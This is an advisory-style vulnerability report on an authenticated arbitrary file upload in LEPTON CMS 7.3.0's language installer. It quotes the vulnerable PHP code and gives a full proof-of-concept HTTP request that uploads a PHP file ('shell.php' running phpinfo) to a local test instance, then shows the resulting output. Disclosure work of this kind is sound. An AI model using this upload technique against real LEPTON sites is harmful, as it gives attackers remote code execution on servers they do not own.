

Arbitrary File Upload Vulnerability in LEPTON CMS 7.3.0

Vendor's Official Website: <https://lepton-cms.org/english/home.php>

Vendor's Introduction: LEPTON is an easy-to-use but full customizable Content Management System (CMS). LEPTON enables you to run nearly all the websites most others current CMS promise you but has the big advantage of extremely short learning and training curves, and this is a great argument to those who work with LEPTON. LEPTON is easily installed and started, and can easily be adapted to fit the needs of nearly all web appearances.

Vulnerability Description:

LEPTON CMS version 7.3.0 contains an arbitrary file upload vulnerability. The root cause of this issue is the lack of proper validation for uploaded files. An authenticated attacker can exploit this vulnerability by uploading a specially crafted PHP file to execute arbitrary code on the server.

Attack Components:

`/LEPTON7.3.0/upload/backend/languages/install.php`

Attack Vectors:

An attacker can upload an arbitrary malicious PHP file through the "Install Language" section and execute it to achieve remote code execution.

Code Analysis:

In the file `/LEPTON7.3.0/upload/backend/languages/install.php`, the vulnerability occurs between lines 40 and 74.

At line 40, the code checks whether a file has been uploaded, but no filtering or validation is applied.

At line 74, the uploaded file content is read directly, and it must contain `<?php` to be processed -> Directly results in remote command execution

```

39 // Check if user uploaded a file
40 if(!isset($_FILES['userfile']))
41 {
42     header("Location: index.php");
43     exit(0);
44 }
45
46 // Setup admin object
47 $admin = LEPTON_admin::getInstance('Addons', 'languages_install');
48
49 // Include functions
50 LEPTON_handle::register("random_string","versionCompare","load_language");
51
52 // Create temp string for a unique filename by using the pw-generator.
53 $temp_string = random_string( AUTH_MIN_PASS_LENGTH + mt_rand(0, 4), 'pass' );
54
55 // Set temp vars
56 $temp_dir = LEPTON_PATH.'/temp/';
57 $temp_file = $temp_dir . 'language'.$temp_string;
58
59 // Check if language dir is writable
60 if(!is_writable(LEPTON_PATH.'/languages/'))
61 {
62     if(file_exists($temp_file)) { unlink($temp_file); } // Remove temp file
63     $admin->print_error($MESSAGE['GENERIC_BAD_PERMISSIONS']);
64 }
65
66 // Try to upload the file to the temp dir
67 if(!move_uploaded_file($_FILES['userfile']['tmp_name'], $temp_file))
68 {
69     if(file_exists($temp_file)) { unlink($temp_file); } // Remove temp file
70     $admin->print_error($MESSAGE['GENERIC_CANNOT_UPLOAD']);
71 }
72
73 // Check if uploaded file is a valid language file (no binary file etc.)
74 $content = file_get_contents($temp_file);
75 if (strpos($content, '<?php') === false)
76 {
77     $admin->print_error($MESSAGE['GENERIC_INVALID_LANGUAGE_FILE']." [1]");
78 }

```

PoC:

POST /LEPTON_7.3.0/upload/backend/languages/install.php?leptoken=91565a1558d32b629efe1z1708573798 HTTP/1.1

Host: 127.0.0.1:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:

http://127.0.0.1:81/LEPTON_7.3.0/upload/backend/languages/index.php?leptoken=325c9c1c262ae89daa5a5z1708573794

Content-Type: multipart/form-data; boundary=-----393351910321876729253412253603

Content-Length: 376

Origin: http://127.0.0.1:81

Connection: close

Cookie: __51uvst__JdquY3gNURaKiAFU=7; __51vcke__JdquY3gNURaKiAFU=830ed485-3bd6-558a-9544-b8c60fcee968;
__51vuft__JdquY3gNURaKiAFU=1698104969532; Hm_lvt_b03e1a3682665e9218213dc9e1b5a428=1704532133;
_ga=GA1.1.632955722.1704532133; _ga_T1VQPK4DK4=GS1.1.1704532133.1.0.1704532133.0.0.0;

cookieconsent_status=dismiss; lepton_session_id=p6hdpna2deg6h5lbedp1ev45oq;
lep9047sessionid=tuehrus9ems0jdhgh5p9l93iv6

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

-----393351910321876729253412253603

Content-Disposition: form-data; name="userfile"; filename="shell.php"

Content-Type: application/octet-stream

<?php phpinfo();?>

-----393351910321876729253412253603

Content-Disposition: form-data; name="submit"

Install

-----393351910321876729253412253603--

More Details:

Authenticated to web-console of Lepton CMS 7.3.0 and uploaded a 1.php which contains “<?php phpinfo();?>”, and then executed it.

LEPTON CMS 7series»Admin

127.0.0.1:81/LEPTON7.3.0/upload/backend/languages/install.php?leptoken=96723c4f12f4bfd3bf...

Menu

LEPTON CMS 7series - Administration

Info

?

PHP Version 8.0.2



System	
Build Date	Feb 3 2021 18:29:10
Build System	Microsoft Windows Server 2016 Standard [10.0.14393]
Compiler	Visual C++ 2019
Architecture	x64
Configure Command	cscript /nologo /e:javascript configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--with-pdo-oci=c:\php-snap-build\dep-aux\oracle\x64\instantclient_19_9\sdk,shared" "--with-oci8-12c=c:\php-snap-build\dep-aux\oracle\x64\instantclient_12_1\sdk,shared" "--with-oci8-19=c:\php-snap-build\dep-aux\oracle\x64\instantclient_19_9\sdk,shared" "--enable-object-out-dir=.\obj" "--enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	no value
Loaded Configuration File	C:\phpstudy\phpstudy_pro\Extensions\php\php8.0.2nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20200930
PHP Extension	20200930
Zend Extension	420200930
Zend Extension Build	API420200930,NTS,VS16
PHP Extension Build	API20200930,NTS,VS16
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled

LEPTON Core

 is released under the [GNU General Public License](#).

LEPTON CMS Package

 is released under several different licenses.